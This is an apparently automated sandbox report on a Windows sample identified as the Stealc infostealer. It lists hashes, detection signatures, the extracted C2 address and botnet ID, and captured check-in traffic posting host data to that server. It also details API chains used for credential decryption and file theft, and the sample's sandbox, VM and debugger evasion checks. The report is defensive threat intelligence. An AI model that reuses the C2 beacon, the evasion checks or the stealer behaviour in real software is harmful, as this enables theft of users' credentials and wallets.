Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1529339
MD5:	02978bae9becb20a4ba6f439f8eb552f
SHA1:	728da10f79bc011ea19ca78aa8aae0b9946f9f4b
SHA256:	669036c06a6fd0494eb7db1eac48d0a477a47d7fff54dcc29fdbf7876ef39900
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6584 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 02978BAE9BECB20A4BA6F439F8EB552F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2167723747.0000000005830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6584	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6584	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.e40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T21:42:18.802712+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49727	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.e40000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00E4C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E49AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00E49AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E47240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00E47240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E49B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00E49B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E58EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00E58EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00E538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00E54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00E53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F68A FindFirstFileA,	0_2_00E4F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E4BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E4DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49727 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 43 36 42 39 38 41 36 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="hwid"B7C6B98A619D1524750037------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build"doma------BGCBGCAFIIECBFIDHIJK--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E44880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00E44880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 43 36 42 39 38 41 36 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="hwid"B7C6B98A619D1524750037------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build"doma------BGCBGCAFIIECBFIDHIJK--

Source: file.exe, 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/U
Source: file.exe, 00000000.00000002.2208867559.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
Source: file.exe, 00000000.00000002.2208867559.0000000001CE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpU
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6	0_2_012181E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01215807	0_2_01215807
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012130B2	0_2_012130B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121B889	0_2_0121B889
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120FB28	0_2_0120FB28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D8B44	0_2_010D8B44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B23D6	0_2_011B23D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121D3D5	0_2_0121D3D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120EA76	0_2_0120EA76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D3502	0_2_011D3502
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01211502	0_2_01211502
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01281D4E	0_2_01281D4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01115D76	0_2_01115D76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01219D5C	0_2_01219D5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01187C5C	0_2_01187C5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F775B	0_2_010F775B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F563D	0_2_010F563D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010AC693	0_2_010AC693
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111D6D3	0_2_0111D6D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121EEE2	0_2_0121EEE2

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00E445C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: gklmxpts ZLIB complexity 0.9951693297511313

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2167723747.0000000005830000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E58680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00E58680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E53720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00E53720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Q36JKFCE.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1853440 > 1048576

Source: file.exe

Static PE information: Raw size of gklmxpts is bigger than: 0x100000 < 0x19e600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gklmxpts:EW;csoyoskk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gklmxpts:EW;csoyoskk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E59860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E59860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ce078 should be: 0x1c8fa5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gklmxpts
Source: file.exe	Static PE information: section name: csoyoskk
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01248B89 push ebx; mov dword ptr [esp], edi	0_2_01248BB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01248B89 push edx; mov dword ptr [esp], 3AFF6CE1h	0_2_01248C9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01248B89 push esi; mov dword ptr [esp], 5DBA2B70h	0_2_01248CD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01248B89 push ecx; mov dword ptr [esp], 387B7703h	0_2_01248D18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01324115 push 03BF3C18h; mov dword ptr [esp], ebp	0_2_0132EDE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01324115 push ebx; mov dword ptr [esp], ecx	0_2_0132EF37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01324115 push 6A93C5E8h; mov dword ptr [esp], ebx	0_2_0132EFFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01324115 push 74456157h; mov dword ptr [esp], ecx	0_2_0132F002
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01324115 push edx; mov dword ptr [esp], ecx	0_2_0132F058
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130191F push 5534F719h; mov dword ptr [esp], ebx	0_2_01301944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E916F push 45E9B3DDh; mov dword ptr [esp], eax	0_2_012E92A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122C1B9 push esi; mov dword ptr [esp], eax	0_2_0122C218
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push esi; mov dword ptr [esp], edi	0_2_012181EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push ecx; mov dword ptr [esp], 5BDDE026h	0_2_01218274
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push esi; mov dword ptr [esp], 72AD7D47h	0_2_01218314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push edx; mov dword ptr [esp], eax	0_2_0121834A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push eax; mov dword ptr [esp], 7FFFBD50h	0_2_01218390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push edx; mov dword ptr [esp], esp	0_2_012184BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push edx; mov dword ptr [esp], edi	0_2_012184DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 43A96438h; mov dword ptr [esp], ebx	0_2_01218588
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push esi; mov dword ptr [esp], eax	0_2_012185D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 4EB4D7FFh; mov dword ptr [esp], edx	0_2_01218631
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push ecx; mov dword ptr [esp], 75DFE4D1h	0_2_01218687
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 67479BC0h; mov dword ptr [esp], ebp	0_2_01218716
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 16503C8Ch; mov dword ptr [esp], ebp	0_2_0121879A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 4593BADCh; mov dword ptr [esp], edx	0_2_012187D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 0DBA74D9h; mov dword ptr [esp], ecx	0_2_012187DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push ebp; mov dword ptr [esp], ecx	0_2_01218813
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push esi; mov dword ptr [esp], eax	0_2_012188CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push edi; mov dword ptr [esp], ebx	0_2_01218927
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012181E6 push 329181FCh; mov dword ptr [esp], ebx	0_2_01218945

Source: file.exe

Static PE information: section name: gklmxpts entropy: 7.955274531054208

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00E59860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13406

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12160B8 second address: 12160D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E62h 0x00000007 pushad 0x00000008 jne 00007F39A52A2E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12160D5 second address: 12160DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224AFF second address: 1224B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E67h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224B23 second address: 1224B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D0h 0x00000009 pop eax 0x0000000a ja 00007F39A52A77CEh 0x00000010 popad 0x00000011 push edx 0x00000012 jmp 00007F39A52A77D6h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224B61 second address: 1224B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224C86 second address: 1224C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224C8A second address: 1224C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
